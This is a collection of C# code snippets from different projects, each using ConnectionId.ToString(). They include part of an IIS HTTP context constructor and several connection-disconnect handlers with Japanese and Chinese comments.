originalPath.Substring(prefix.Length - 1); } var cookedUrl = GetCookedUrl(); QueryString = cookedUrl.GetQueryString() ?? string.Empty; // TODO: Avoid using long.ToString, it's pretty slow RequestConnectionId = ConnectionId.ToString(CultureInfo.InvariantCulture); // Copied from WebListener // This is the base GUID used by HTTP.SYS for generating the activity ID. // HTTP.SYS overwrites the first 8 bytes of the base GUID with RequestId to generate ETW activity ID. // The requestId should be set by the NativeRequestContext var guid = new Guid(0xffcb4c93, 0xa57f, 0x453c, 0xb6, 0x3f, 0x84, 0x71, 0xc, 0x79, 0x67, 0xbb); *((ulong *)&guid) = RequestId; // TODO: Also make this not slow TraceIdentifier = guid.ToString(); var localEndPoint = GetLocalEndPoint(); LocalIpAddress = localEndPoint.GetIPAddress(); LocalPort = localEndPoint.GetPort(); var remoteEndPoint = GetRemoteEndPoint(); RemoteIpAddress = remoteEndPoint.GetIPAddress(); RemotePort = remoteEndPoint.GetPort(); StatusCode = 200; RequestHeaders = new RequestHeaders(this); HttpResponseHeaders = new HeaderCollection(); // TODO Optimize for known headers ResponseHeaders = HttpResponseHeaders; ResetFeatureCollection(); } RequestBody = new IISHttpRequestBody(this); ResponseBody = new IISHttpResponseBody(this); Input = _pipeFactory.Create(new PipeOptions { ReaderScheduler = TaskRunScheduler.Default }); var pipe = _pipeFactory.Create(new PipeOptions { ReaderScheduler = TaskRunScheduler.Default }); Output = new OutputProducer(pipe); }
public override string ToString() { return(ConnectionId.ToString()); }
/// <summary> /// 切断時 /// </summary> /// <returns></returns> public async Task LeaveAsync() { // マッチングから外す roomManager.RemoveFromMatchingRoom(ConnectionId.ToString()); await matchingRoom.RemoveAsync(Context); }
void Server_OnDisconnection(ConnectionId connectionId) { Debug.Log("Client: " + connectionId.ToString() + " disconnected"); }
internal unsafe IISHttpContext(MemoryPool <byte> memoryPool, IntPtr pInProcessHandler, IISOptions options, IISHttpServer server) : base((HttpApiTypes.HTTP_REQUEST *)NativeMethods.http_get_raw_request(pInProcessHandler)) { _thisHandle = GCHandle.Alloc(this); _memoryPool = memoryPool; _pInProcessHandler = pInProcessHandler; _server = server; NativeMethods.http_set_managed_context(pInProcessHandler, (IntPtr)_thisHandle); unsafe { Method = GetVerb(); RawTarget = GetRawUrl(); // TODO version is slow. HttpVersion = GetVersion(); Scheme = SslStatus != SslStatus.Insecure ? Constants.HttpsScheme : Constants.HttpScheme; KnownMethod = VerbId; var originalPath = RequestUriBuilder.DecodeAndUnescapePath(GetRawUrlInBytes()); if (KnownMethod == HttpApiTypes.HTTP_VERB.HttpVerbOPTIONS && string.Equals(RawTarget, "*", StringComparison.Ordinal)) { PathBase = string.Empty; Path = string.Empty; } else { // Path and pathbase are unescaped by RequestUriBuilder // The UsePathBase middleware will modify the pathbase and path correctly PathBase = string.Empty; Path = originalPath; } var cookedUrl = GetCookedUrl(); QueryString = cookedUrl.GetQueryString() ?? string.Empty; // TODO: Avoid using long.ToString, it's pretty slow RequestConnectionId = ConnectionId.ToString(CultureInfo.InvariantCulture); // Copied from WebListener // This is the base GUID used by HTTP.SYS for generating the activity ID. // HTTP.SYS overwrites the first 8 bytes of the base GUID with RequestId to generate ETW activity ID. // The requestId should be set by the NativeRequestContext var guid = new Guid(0xffcb4c93, 0xa57f, 0x453c, 0xb6, 0x3f, 0x84, 0x71, 0xc, 0x79, 0x67, 0xbb); *((ulong *)&guid) = RequestId; // TODO: Also make this not slow TraceIdentifier = guid.ToString(); var localEndPoint = GetLocalEndPoint(); LocalIpAddress = localEndPoint.GetIPAddress(); LocalPort = localEndPoint.GetPort(); var remoteEndPoint = GetRemoteEndPoint(); RemoteIpAddress = remoteEndPoint.GetIPAddress(); RemotePort = remoteEndPoint.GetPort(); StatusCode = 200; RequestHeaders = new RequestHeaders(this); HttpResponseHeaders = new HeaderCollection(); ResponseHeaders = HttpResponseHeaders; if (options.ForwardWindowsAuthentication) { WindowsUser = GetWindowsPrincipal(); if (options.AutomaticAuthentication) { User = WindowsUser; } } ResetFeatureCollection(); // Check if the Http upgrade feature is available in IIS. // To check this, we can look at the server variable WEBSOCKET_VERSION // And see if there is a version. Same check that Katana did: // https://github.com/aspnet/AspNetKatana/blob/9f6e09af6bf203744feb5347121fe25f6eec06d8/src/Microsoft.Owin.Host.SystemWeb/OwinAppContext.cs#L125 // Actively not locking here as acquiring a lock on every request will hurt perf more than checking the // server variables a few extra times if a bunch of requests hit the server at the same time. if (_websocketAvailability == WebsocketAvailabilityStatus.Uninitialized) { NativeMethods.http_get_server_variable(pInProcessHandler, WebSocketVersionString, out var webSocketsSupported); var webSocketsAvailable = !string.IsNullOrEmpty(webSocketsSupported); _websocketAvailability = webSocketsAvailable ? WebsocketAvailabilityStatus.Available : WebsocketAvailabilityStatus.NotAvailable; } if (_websocketAvailability == WebsocketAvailabilityStatus.NotAvailable) { _currentIHttpUpgradeFeature = null; } } RequestBody = new IISHttpRequestBody(this); ResponseBody = new IISHttpResponseBody(this); Input = new Pipe(new PipeOptions(_memoryPool, readerScheduler: PipeScheduler.ThreadPool, minimumSegmentSize: MinAllocBufferSize)); var pipe = new Pipe(new PipeOptions( _memoryPool, readerScheduler: PipeScheduler.ThreadPool, pauseWriterThreshold: PauseWriterThreshold, resumeWriterThreshold: ResumeWriterTheshold, minimumSegmentSize: MinAllocBufferSize)); Output = new OutputProducer(pipe); }
protected override void OnDisconnect(DisconnectReason reasonCode, string reasonDetail) { LBLogger.Info(LogTag, "连接 关闭 " + ConnectionId.ToString()); LBPeerManager.Instance.RemovePeer(ConnectionId); }